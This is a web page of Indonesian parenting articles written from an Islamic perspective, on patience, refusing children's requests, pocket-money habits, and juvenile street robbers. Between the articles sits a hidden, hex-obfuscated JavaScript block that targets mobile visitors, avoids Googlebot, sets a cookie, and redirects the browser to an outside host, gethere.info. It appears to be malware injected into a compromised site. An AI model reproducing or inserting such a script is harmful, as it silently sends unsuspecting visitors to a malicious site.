artikel tip dan trik dari team GP

Anak Antara Barokah dan Ujian

 

BAROKAH ANAK

Ada firman Allah dalam surat At Taghobun : Sesungguhnya harta-hartamu dan anak-anakmu cobaan bagimu. Dan sesungguhnya di sisi Allahlah pahala yang besar.

Mungkin diantara kita hari ini mempunyai anak yang Sholeh dan pintar, maka ingatlah kita sedang diuji oleh Allah dengan sedikit kenikmatan. Sebaliknya mungkin di antara kita hari ini mempunyai anak yang agak nakal dan tidak pintar, maka ingatlah pula kita sedang diuji oleh Allah dengan sedikit kesusahan.

Artinya mempunyai anak dengan kedua karakteristik di atas adalah sama, yaitu kita sedang diuji oleh Allah. Hanya saja jika ujiannya adalah  anak yang sholeh dan pintar maka kita biasanya lebih tenang dan bangga. Sementara pada ujian yang kedua dengan anak yang nakal dan tidak terlalu pintar maka kita biasanya pusing dan sedih.

Saya pernah ditanya oleh seorang ibu, apakah ada orang yang diberi ujian pertama yaitu kebaikan dan kesuksesan anak gagal dalam memghadapi ujian tersebut. Saya jawab, “Banyak”. Orang tua yang mempunyai anak yang pintar, baik hati dan sukses di masyarakat tetapi Ia sering pergi ke tetangga dan saudaranya dengan penuh kesombongan akan kesuksesan dan keberhasilan anaknya, mungkin dihadapkan masyarakat Ia dipandang sebagai orang tua yang sukses, tetapi yakinlah bahwa dihadapkan ujian Allah justru Ia justru gagal dengan kesombongannya.

Sementara orang tua yang diuji dengan kenakalan dan kebodohan anaknya. Ia bersabar, terus belajar, berikhtiar dan berdo’a kepada Allah untuk kebaikan anaknya. Mungkin dihadapan masyarakat  Ia telah gagal, tetapi saya yakin dihadapan ujian Allah Ia telah sukses dengan kesabaran, ikhtiar dan doanya.

Akhirnya saya ingat sebuah hadist Rasulullah : Dari sahabat Abdurrahman bin Abi Ya’la dari sahabat Shuhaib r.hu, dia berkata telah bersabda Rasulullah saw, ”Sungguh menakjubkan perkaranya orang yang beriman, karena segala urusannya adalah baik baginya. Dan hal yang demikian itu tidak akan terdapat kecuali hanya pada orang mukmin; yaitu jika ia mendapatkan kebahagiaan, ia bersyukur, karena (ia mengetahui) bahwa hal tersebut merupakan yang terbaik untuknya. Dan jika ia tertimpa musibah, ia bersabar, karena (ia mengetahui) bahwa hal tersebut merupakan hal terbaik bagi dirinya.”

Tetap Khusnudzon

Pagi itu saya mendapatkan sapaan akrab dari seorang ibu yang mengikuti training Parenting saya. Lalu Ia bertanya,”Anak saya dua hari yang lalu mengembalikan separo dari uang sakunya yang empat ribu, Ia merasa cukup dengan dua ribu tersebut. Namun sore harinya saya menemukan bungkus kue dengan sisa sedikit yang harganya lebih dari sepuluh ribu di dalam tasnya. Saya bertanya dari mana kue yang ada dalam tas tersebut. Iapun menjawab telah mengambil uang dari simpanannya untuk ia belikan kue di sekolah”. “Saya merasa dibohongi Ustadz, Ia memang mengembalikan sebagian uang jajannya, tetapi dibalik pengembaliannya Ia telah membawa uang jauh lebih banyak secara diam-diam”.

Saya sangat memahami respon ibu ini yang kecewa mendapati kenyataan bahwa putranya telah melakukan “kebohongan” dibalik inisiatifnya mengembalikan sebagian uang jajannya. Jika kita sedikit merenung terhadap fenomena di atas, sebenarnya masih banyak yang harus disyukuri oleh ibu pada anaknya bahkan lebih besar dari kesedihannya mendapati “kebohongan”nya.

Ada beberapa pelajaran yang dapat kita ambil sebagai orang jika menjumpai putra-putri kita berperilaku seperti di atas, di antaranya adalah:

  1. Masih ada perasaan kurang nyaman dari anak untuk menghabiskan seluruh uang jajan ibunya di saat Ia menggunakan uangnya sendiri yang agak banyak. Tentu sikap ini adalah yang sangat baik dan mulia. Jika anak ini adalah anak yang kurang baik, maka Ia tidak pernah mengembalikan sisa uang jajannya.
  2. Mungkin belum ada kesepakatan antara orang tua dan anak tentang mekanisme penggunaan uang simpanan anak, sehingga Ia merasa tidak perlu meminta izin kepada ibunya saat menggunakannya. Di sinilah muncul PR bagi orang tua untuk mengajari anak bagaimana menggunakan uang simpanannya sendiri dengan tetap mempertimbangkan aspek kemandirian anak untuk membuat keputusan dan aspek pendidikan anak bagaimana memenuhi kebutuhannya secukupnya

Namun membangun respon yang positif terhadap perilaku anak bukanlah perkara yang mudah. Minimal ada dua cara untuk membantu kita para orang tua dapat memberikan respon positif dan menghindari respon-respon negatif atas perilaku dan sikap anak, yaitu :

  1. Membangun pamahaman yang benar dan kuat bahwa apa yang dilakukan oleh anak sebagai proses belajar dan belum menjadi sikap yang permanen. Seperti saat melihat dua anak yang sedang rebutan mainan maka harus dipahami sebagai hal yang sangat wajar di mana yang lebih penting dari pertikaian itu adalah bagaimana orang tua menyikapinya dengan tenang
  2. Mengambil jeda saat merespon untuk memberi waktu bagi pikiran dan hati kita di dalam memikirkan dan melihat masalahnya dari berbagai aspek serta merasakan dampak dari respon kita

 

 

Menolak Permintaan Anak

Saat anak meminta sesuatu kepada orang tuanya, maka di hadapan orang tua ada dua pilihan yaitu menerima permintaan anak atau menolaknya. Untuk pilihan yang pertama mungkin tidak akan muncul masalah bagi orang tua dan anak. Karena keinginan anak sesuai dengan kemauan orang tuanya. Masalah baru mulai muncul ketika yang menjadi pilihan adalah penolakan. Seperti perasaan tidak disayangi orang tua, menangis mengiba, mencaci orang tua, merusak barang di rumah dan lain-lain. Dan untuk menghindari masalah ini banyak orang tua selalu menuruti keinginan anak, walaupun keinginan tersebut sering kali justru merusak diri anak.

Sebenarnya ada beberapa hal yang perlu diperhatikan orangtua saat Ia menolak permintaan anaknya. Untuk mengurangi munculnya masalah-masalah di atas dan meningkatkan manfaat pada diri anak dibalik penolakan tersebut, di antaranya:
<ol>
<li>Saat anak meminta sesuatu lalu kita menerima atau menolak permintaannya, kita sebenarnya dapat menunda jawaban kita dan tidak langsung membuat keputusan untuknya. Penundaan ini mendidik anak untuk lebih mampu menahan dirinya dengan menahan keinginannya. Dan jika kita harus menolak permintaannya, maka sebenarnya anak lebih mampu untuk menerima keputusan penolakan tersebut. Berbeda jika anak meminta dan kita langsung menolak, maka anak seringkali belum siap terhadap penolakan kita.</li>
<li>Setiap keputusan baik menerima atau menolak permintaan kita perlu memberikan alasan yang jelas atas keputusan tersebut. Sikap ini tidak hanya supaya anak tidak menangis sehingga jika setelah kita jelaskan anak tetap menangis maka kita segera mengubah keputusan kita. Tetapi lebih untuk mendidik anak bahwa penolakan ini karena sebuah alasan yang logis dan anak mulai dibiasakan untuk membuat keputusan dengan alasan yan logis pula. Banyak orang tua saat menolak permintaan anak justru menghakimi anak atas permintaannya yang menurutnya tidak masuk akal. Seperti saat menolak anak ketika meminta izin untuk melihat pergantian tahun baru, dengan mencemooh sikapnya untuk melihat pergantian tahun baru. Lebih baik kita memberi tahu alasan kita tanpa memberi komentar negatif atas permintaannya</li>
<li>Penolakan bisa dilakukan dengan kalimat tanya. Pernah suatu hari anak saya yang pertama meminta izin untuk mengendarai sepeda motor, padahal Ia baru kelas 2 SMP. Saya menolak dengan bertanya, "Mas, kalau Abi membolehkan kamu naik sepeda motor sekarang, adakah peraturan yang harus Abi langgar atas pembolehan ini? Dan anak saya akhirnya menyadari bahwa dia belum berhak naik sepeda motor karena aturan lalu lintas.</li>
</ol>
Anak perlu untuk mempunyai pengalaman untuk diterima dan ditolak permintaannya. Tetapi pastikan bahwa saat ia mengalami penolakan maka ia tetap mendapatkan manfaat darinya.

&nbsp;<script>var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>

Mendidik Kesabaran Dengan Kesabaran

Sore itu anak ketiga kami begitu semangat untuk mengaji. Ia segera mengambil buku ngajinya dan membawa ke saya untuk meminta saya segera menyimaknya. Saya membuka kartu prestasinya dan melihat beberapa bintang di dalamnya. Berarti pagi tadi Ia ngaji dengan baik sehingga mendapatkan bintang. Saya akhirnya mengerti mengapa sore itu Ia begitu semangat untuk memulai ngaji.

Sejenak kemudian Ia telah membuka halaman buku ngaji yang harus Ia baca. Baris pertama ia dapat membaca dengan baik, namun pada baris-baris selanjutnya ia mengalami kesalahan yang sangat banyak. Akhirnya saya memintanya untuk memperbaiki bacaan berkali-kali. Ia menunjukkan sikap yang sangat tidak senang, Ia terlihat kurang sabar untuk mengulangi dan mengulangi lagi. Hingga Ia dapat meneyelesaikan dua halaman buku dengan banyak pengulangan. Sesaat kemudian Ia menutup buku ngajinya. Tiba-tiba astaghfirullah Ia membanting buku ngajinya di depan saya.

Sesaat kemudian saya tergagap melihat kenyataan yang benar-benar baru bagi saya, sambil menahan diri untuk tidak marah. Kemudian saya panggil anak saya dan memintanya untuk duduk di kursi tenang beberapa saat (satu bentuk sanksi untuk mendidik kontrol emosi). Ia menolak panggilan dan permintaan saya untuk duduk di kursi sanksi. Saya meminta kembali untuk datang dan duduk di kursi tenang. Namun Ia kembali menolak hingga tiga kali permintaan saya.

Sungguh untuk mendidik anak saya untuk sabar dan kontrol emosi kali ini saya dituntut untuk lebih sabar dan kontrol emosi. Akhirnya dengan mengucapkan bismillah dalam hati, saya angkat anak saya ke atas kursi  tenang dengan lembut sambil mengucapkan, “Maaf adik, kamu harus duduk di kursi tenang karena melempar buku ngajimu”. Ia menangis sejenak dan kemudian Ia tenang serta mulai menyadari bahwa orang tuanya serius dengan ucapannya.

Seringkali orang tua diuji oleh anak pada titik yang sedang dididikkan pada anaknya. Sebagaimana saya diuji untuk lebih bersabar saat saya sedang mendidik anak kesabaran. Pada saat lain kita dituntut untuk lebih percaya pada anak di saat kita mendidik kepercayaan diri pada mereka. Orang lain sering juga diminta untuk lebih menghargai saat Ia mendidik anak untuk menghargai orang tuanya.

Bagaimana jadinya jika orang tua mendidik anaknya untuk lebih menghargai orang tuanya, lalu orang tua sendiri tidak menunjukkan sikap-sikap yang mencerminkan penghargaan mereka kepada anak. Niscaya anak akan mengalami kesulitan untuk mampu menghargai orang tuanya. Sebagaimana kita tersenyum pada orang lain, maka ia akan memberi seyuman kembali kepada kita. Sebaliknya jika kita mencibirnya, maka kitapun akan mendapatkan cibirannya.

Begal ABG dan Pola Asuh Kita

Oleh: Miftahul Jinan M.Pd.I

Akhir-akhir ini kita cukup prihatin dengan munculnya fenomena begal di sekitar kita. Beberapa tindakan sadis mereka di dalam melancarkan aksinya cukup membuat kita miris. Dari sekedar mengambil barang incaran dengan kasar, melukai anggota tubuh korban dengan senjata tajam, hingga pembunuhan secara sadis dengan menusuk korban atau menembaknya. Reaksi dari masyarakat terhadap pelaku kejahatan tersebut yang tertangkap tidak kalah sadis yaitu menghajarnya hingga babak belur bahkan membakarnya.

Sebenarnya ada yang lebih membuat prihatin kita saat ini sebagi orang tua adalah munculnya fenomena begal ABG. Mereka adalah kelompok pemuda yang belum berumur 20 tahun dan telah melakukan aksi begal. Beberapa begal ABG yang tertangkap ditanya untuk apa hasil kejahatan mereka? Dengan tenangnya mereka menjawab hanya untuk bersenang-senang seperti membeli minuman keras hingga membeli barang-barang mewah kesukaan mereka. Kita mungkin cukup terbelalak dengan jawaban ini bahwa hanya untuk keinginan-keinginan yang tidak terlalu prinsip mereka rela membegal dengan mencederai korban hingga membunuhnya. Ada beberapa analisa yang dapat kita ambil dari fenomena begal ABG ini, yaitu :

  1. Para begal ABG ini adalah sekelompok orang yang tidak mampu mengontrol keinginan mereka. Jika mereka menginginkan sesuatu, mereka harus mendapatkannya. Bahkan mereka tidak mampu membedakan antara sebuah kebutuhan prinsip yang harus diperjuangkan atau hanya keinginan jangka pendek yang sebenarnya tidak perlu sampai membegal
  2. Para ABG tersebut untuk memenuhi keinginan, mereka rela untuk melakukan pelanggaran aturan hingga syariat agama
  3. Untuk mendapatkan sesuatu yang mereka inginkan mereka menggunakan cara-cara Instant. Mereka tidak sabar untuk mendapatkannya dengan proses yang alami setahap demi setahap. Bekerja keras dan mendapatkan hasil dari pekerjaan kerasnya untuk memenuhi keinginan mereka

Dari analisa fenomena begal ABG di tas marilah kita mencoba untuk mengkritisi beberapa pola asuh kita di rumah yang kadang justru mendorong munculnya beberapa perilaku yang mirip dengan begal ABG di atas pada anak-anak kita.

  1. Demi rasa cinta dan sayang kepada anak kita kadang berani untuk melanggar aturan atau syariat agama. Kita sering mendapatkan orang tua yang membelikan anak-anaknya yang masih usia sekolah menengah pertama sepeda motor untuk mereka gunakan ke sekolah. Padahal mereka belum mempunyai SIM dan kondisi emosional mereka yang masih labil. Jika kita berani melanggar satu kali aturan dan syariat agama, maka ini akan mendorong anak untuk juga mudah melanggar aturan dan syariat agama di kemudian hari
  2. Kita sering sulit untuk menolak permintaan anak dan selalu menuruti apa yang mereka minta. Sikap ini mendorong munculnya perilaku anak bahwa apa yang mereka inginkan harus mereka dapatkan. Pola asuh ini dapat memunculkan kebiasaan untuk berbuat nekat jika mereka mengalami penolakan.
  3. Banyak dari kita orang tua selalu memberi apa yang diminta anak dengan cepat dan tanpa syarat apapun. Sikap ini tentu akan mendorong anak untuk berfikir serba instant. Seperti begal ABG yang berfikir instant untuk mendapatkan yang mereka inginkan, maka anak-anak kita juga bersikap demikian. Apa yang yang mereka inginkan hari ini harus mereka dapatkan hari ini juga.

Berangkat dari pembahasan di atas, sebenarnya orang tua dapat melakukan hal-hal yang lebih bijak dan mendorong anaknya untuk lebih bersikap dewasa dan mandiri. Beberapa sikap yang harus dimunculkan orang tua terkait dengan hal di atas adalah :

  1. Kita orang tua kadang perlu menerima keinginan anak atau menolaknya. Pengalaman diterima dan ditolak mendorong anak untuk lebih siap menghadapi kesuksesan dan kegagalan mereka dengan santun. Mereka cenderung lebih mampu mengontrol keinginannya dan tidak akan pernah melakukan hal-hal nekat untuk mendapatkan yang dia inginkan.
  2. Satu prinsip yang harus dicermati orang tua saat anak mereka meminta adalah apakah permintaan mereka melanggar aturan atau syariat yang berlaku. Sikap ini juga akan mendidik anak bahwa sebuah keinginan mereka tidak boleh melanggar aturan yang ada apalagi syariat agama. Seorang yang dibiasakan untuk selalu mentaati aturan dan syariat agama pada hal-hal yang diinginkan, maka secara otomatis ia akan mengurangi keinginan-keinginan yang diluar aturan dan syariat.
  3. Di dalam menerima keinginan anak orang tua perlu menghindari untuk memberinya secara “gratisan”.  Langsung diberi dan tanpa syarat apapun. Anak perlu dibiasakan untuk menunggu beberapa saat atau memberinya syarat dari setiap permintaan yang mereka ajukan kepada orang tuanya. Seperti saat mereka meminta sepatu futsal, kita menangguhkan keinginannya satu minggu ke depan atau dengan syarat mereka melakukan kebaikan tertentu dalam rentang waktu tertentu. Sikap ini akan mendorong anak untuk berfikir proses dan tidak berfikir serba instant.

 

Mitra Belajar Anak

Saya sering mendengar keluhan beberapa orang tua yang anaknya sering bertengkar, berebut mainan dan selalu iri terhadap saudaranya. Yang sering mereka lakukan untuk mengatasi sikap anak di atas dengan selalu membelikan mainan sejumlah anaknya, menyediakan beberapa TV supaya masing-masing dapat melihat tayangan yang disukainya dan selalu membelikan barang yang sama pada mereka.

Sebaliknya saya juga sering mendengar cerita indah dari beberapa orang tua yang dikaruniai beberapa anak dan mereka masih dapat aktif bekerja dan berdakwah tanpa mereka merasa direpoti oleh permasalahan anaknya yang banyak. Rahasia mereka adalah kerjasama antara suami istri bahkan dengan anak-anak mereka yang lebih besar.

Anak-anak yang lebih besar berfungsi sebagai penjaga, pengasuh, bahkan mitra belajar saudaranya. Ada banyak pekerjaan rumah tangga yang mulai dapat mereka delegasikan kepada anak-anak yang lebih tua. Mungkin di antara kita khawatir apakah hal tersebut tidak mengakibatkan kedewasaan dini pada anak atau mengganggu proses belajar anak di sekolah?

Dari dua fakta di atas, sebenarnya kita dapat mengambil nilai-nilai yang dapat kita praktekkan bagi anak-anak kita di rumah, di antaranya :

  1. Banyak orang tua memandang pertikaian anak selalu negatif. Sehingga mereka berusaha menghindarkan mereka dari pertikaian, padahal di dalam pertikaian terdapat banyak pelajaran hidup bagi anak. Pelajaran mengontrol emosi, pelajaran untuk menerima keputusan yang tidak sesuai dengan keinginannya, dan pelajaran untuk berempati kepada yang diminta untuk mengalah
  2. Membelikan lebih banyak televisi bagi anak hanyalah lari dari permasalahan yang sesungguhnya yaitu supaya anak tidak bertikai. Tetap menyediakan satu Televisi dengan membagi tayangan berdasarkan kesepakatan bersama adalah pelajaran bagi anak untuk menghormati kesenangan orang lain dan menahan diri untuk tidak memaksa keinginannya
  3. Menjadikan anak yang lebih besar mitra belajar bagi adiknya akan menumbuhkan rasa tanggung jawab dan perasaan melindungi bagi sang kakak
  4. Beberapa anak justru lebih menangkap penjelasan kakak yang lebih besar dari pada orang tuanya karena mereka sering lebih memahami keinginan dan cara belajar adik
  5. Mendelegasikan beberapa pekerjaan rumah tangga kepada anak justru membuat anak lebih menghargai daya upaya orang tuanya yang selama ini telah melayaninya

 

 

Catatlah!!!

Anak kedua kami duduk di kelas lima Sekolah Dasar. Ia selalu mendapatkan uang jajan harian, walaupun kami tidak memberikannya setiap hari. Setiap pekan atau dua pekan sekali kami memberikannya. Iapun tidak sering meminta tambahan bagi uang jajannya. Namun ada satu masalah yang sering mengganggu benak kami, Ia seringkali menghabiskan uang jajannya hanya dalam satu pekan, dan hampir tidak mempunyai sisa uang jajan pada pekan kedua. Dengan demikian Ia menggunakan uang berlebihan pada pekan pertama dan sangat kekurangan pada pekan kedua. Sebenarnya kami sudah menjelaskan kepadanya dan menegurnya tentang jatah uang jajannya setiap hari. Namun kondisi di atas masih selalu terulang kembali.

Tentu ini bukanlah kondisi yang ideal bagi perkembangan karakter dan kebiasaan yang baik bagi anak kami. Seperti seseorang yang mendapatkan gaji dari perusahaannya, di awal bulan ia begitu borosnya menggunakan uang, sementara ia harus hidup dalam kekurangan dengan sisa gajinya di akhir bulan. Akhirnya untuk mengurangi tingkat kebutuhan pada pekan kedua, seringkali kami membawakan berbagai makanan dari Rumah. Fenomena ini bermula dari masalah kemampuan anak di dalam mengontrol diri dan merencanakan keuangan.

Pada beberapa kesempatan kami merasa jengkel dan memberikan jatah uang jajan setiap hari. Tetapi tentu ini bukanlah sikap yang bijaksana, karena tidak pernah mendidik anak untuk mengelola sendiri uangnya. Hingga di malam itu kami mendapatkan sebuah inspirasi qur’ani untuk mengajari anak untuk mencatat setiap apa yang ia keluarkan dari uangnya.

Kami tetap memberi uang kepadanya setiap dua pekan, kami membuat kesepakatan baru tentang jumlah uang jajannya setiap hari, dan memintanya untuk menuliskan uang yang telah ia pergunakan. Setiap akhir pekan kami dan anak melihat kembali hasil catatan dan sisa uangnya. Subhanallah cara ini sangat membantu anak untuk lebih mampu mengontrol dirinya di dalam menggunakan uangnya.

Setelah beberapa bulan berjalan kami bahkan menambah tanggung jawabnya untuk memanage uang jajan adiknya dan kebutuhan-kebutuhan lain selain uang jajan sekolah, seperti kebutuhan untuk membeli peralatan sekolah dan membeli makanan-makanan kecil.

Ada beberapa nilai yang telah didapatkan oleh anak kami saat ia menjalankan program mencatat, di antaranya :

  1. Anak mempunyai self discipline saat ia harus menulis setiap pengeluaran uang untuk kebutuhannya
  2. Kontrol diri anak meningkat tajam, di depannya terdapat banyak uang, namun ia harus mampu menahan diri untuk tidak menggunakannya dengan berlebihan
  3. Anak mengalami peningkatan tanggung jawab karena mulai diberi amanah untuk mengurus uang jajan dirinya dan uang jajan adiknya
  4. Keterampilan di dalam menghitung uang dan mengelolanya berkembang optimal, ia tidak lagi memandang uang sebagai hal yang harus dihabiskan dan dibelanjakan, tetapi memandang uang sebagai hal yang harus dipertanggung jawabkan

Bahasa Kalbu

Kalau kita sedang mengikuti upacara  bendera maka kita akan sering mendengarkan beberapa kalimat berikut ini, “siap gerak, lencang depan gerak dan lain-lain”. Reaksi kita mendengar kata-kata tersebut adalah segera bergerak sesuai dengan instruksinya. Mengapa hal itu kita lakukan? Maka jawaban sederhananya adalah karena aturannya ya demikian. Tetapi ada satu hal yang luput dari perhatian kita, yaitu cara memberi instruksi memang mendorong seseorang untuk segera bergerak. Dengan suara lantang dan kecepatan instruksi yang tinggi, maka ia dapat merangsang siapapun untuk segera bergerak.

Kalau kita mencoba untuk memberikan instruksi yang sama tetapi suara dan kecepatan kita rendahkan maka reaksi untuk bergerak bagi yang mendengar akan sangat berbeda. Dapat kita sederhanakan bahwa bahasa yang digunakan dalam instruksi di atas adalah bahasa fisik. Kondisi berbeda saat kita masuk kelas dan mendengar penjelasan Guru, maka kita akan merasakan intonasi dan suara yang berbeda, lebih lembut dengan kecepatan sedang. Dan siswapun dapat fokus pada penjelasan guru. Penjelasan guru dengan karakteristik demikian telah merangsang anak-anak secara fokus dalam fikiran.

Sederhananya guru tersebut menggunakan bahasa fikiran. Saat kita menjalankan Shalat atau memanjatkan doa, kita akan menggunakan suara yang lebih pelan dari dua bahasa di atas. Suara ini mendorong seseorang untuk tenang, tidak bergerak dan merangsang perasaan untuk bekerja. Bahasa yang digunakan adalah bahasa kalbu. Yaitu bahasa yang dapat menembus hati seseorang. Kita jarang menggunakan bahasa yang ketiga. Karena kita melihat sedikitnya kesempatan yang dapat digunakan dengan bahasa kalbu. Padahal setiap perilaku yang harapkan pada anak-anak kita harus bermuara dalam hati. Dan ini akan sangat mudah jika kita menggunakan dengan bahasa kalbu

Teguran Hati Nurani

 

Sebagai orang tua atau guru kita tentu akan menjumpai beberapa perilaku anak yang kurang baik. Tentunya menghadapi perilaku tersebut terpaksa kita harus menegurnya. Ada banyak jenis teguran yang sering dilakukan oleh orang tua, seperti dengan memukul atau membentak anak, menjelaskan dan mempertanyakan kepada anak tentang perilakunya dan lain sebagainya.

Ada satu jenis teguran yang dapat kita lakukan yang mampu menyentuh hari nurani anak-anak kita. Tentunya inilah cara yang paling ideal bagi kita di dalam menegur perilaku anak yang kurang baik. Saat anak meletakkan sampah di dalam kelas tidak pada tempatnya, kita dapat mengambil sampah tersebut tanpa bicara apapun kepada anak dan meletakkannya pada tempatnya. Anak yang melihat aktifitas kita merasa kurang enak hati melihat sampahnya justru diletakkan oleh gurunya.

Saat anak sedang bermain di rumah, kemudian adzan tanda waktu shalat terdengar, orang tua menunjukkan persiapan dirinya untuk segera pergi ke masjid. Anak yang melihat orang tuanya mempersiapkan diri ke masjid tidak nyaman jika tidak mengikuti orang tuanya.

Mungkin di antara kita akan membayangkan ini terlalu sulit untuk dilakukan oleh kita para orang tua dan guru. Apalagi anak ditegur menggunakan ucapan saja seringkali tidak melaksanakannya. Apalagi jika kita tegur dengan tanpa ucapan.

Kalau dapat saya sedikit menjelaskan tentang teguran hati nurani ini, memang cukup sulit untuk sampai tahapan teguran seperti ini, karena ini adalah teguran yang paling ideal yang dapat kita lakukan. Tetapi minimal kita mempunyai tujuan jauh, di suatu hari akan dapat mencapainya dengan baik.

Ada beberapa pra syarat yang harus kita lewati sehingga tahapan teguran paling ideal ini dapat kita laksanakan terhadap anak-anak kita, yaitu :

  1. Orang tua dan guru harus membangun sebuah lingkungan yang mempermudah anak untuk melakukan aktifitas positif. Seperti lingkungan yang membiasakan untuk mematikan televisi setiap kali terdengar adzan. Maka akan sangat mudah bagi anak untuk ditegur nuraninya, dibandingkan sebuah lingkungan yang tetap menyalakan televisi walaupun adzan berkumandang
  2. Orang tua dan guru membangun aktifitas positif dengan diskusi dan komunikasi yang baik antara orang tia dan anak. Bukan aktifitas yang dibangun dengan paksaan dan kekerasan. Sehingga anak-anak melakukan aktifitas tersebut dengan penuh kesadaran dan pemahaman yang baik
  3. Aktifitas positif yang disempurnakan dengan contoh yang kuat dari orang tua, bukan aktifitas yang sulit bagi anak untuk mendapatkan contoh
  4. Saat orang tua dan guru memberikan teguran hati nurani, muncul dari rasa cinta akan kebaikan perilaku anaknya. Bukan diliputi oleh kebencian akan perilaku anaknya yang kurang baik.

 

 

 

Menikmati Keheningan

Banyak aktifitas sehari-hari yang menuntut kita dan anak-anak untuk bersikap hening. Seperti saat kita menjalankan shalat, berdoa seusai shalat, mendengarkan pembicaraan orang lain dan lain-lain. Namun dengan banyaknya aktifitas hening tersebut, kita harus mengakui bahwa kita belum bnyak mengajarkan kepada anak-anak sesuatu tentang keheningan. Kecuali hanya menegur anak-anak tersebut saat ramai ketika belajar di kelas atau gaduh ketika menjalankan shalat jamaah di masjid.

Akhirnya keheningan sering dipandang oleh anak-anak sebagai sesuatu yang tidak dapat dinikmati, tetapi hanyalah sebagai sebuah kewajiban untuk mematuhi permintaan orang dewasa untuk tidak gaduh saat belajar dan beribadah. Fokus kita lebih banyak pada ungkapan “tidak gaduh” daripada ungkapan “keheningan”.

Padahal dengan mengajarkan kepada anak tentang keheningan secara benar maka sebenarnya banyak manfaat yang akan mereka peroleh di kemudian hari, di antaranya ;

  1. Mendidik anak untuk menikmati keheningan sebenarnya membantu anak untuk meningkatkan konsentrasinya saat menyimak dan mendengarkan penjelasan guru maupun orang tua. Kita sering mendengar keluhan para guru tentang betapa ramainya kelas dengan suara bising anak. Kita melupakan hal yang lebih penting, mereka melakukan kegaduhan tersebut, karena mereka belum dilatih untuk menikmati keheningan
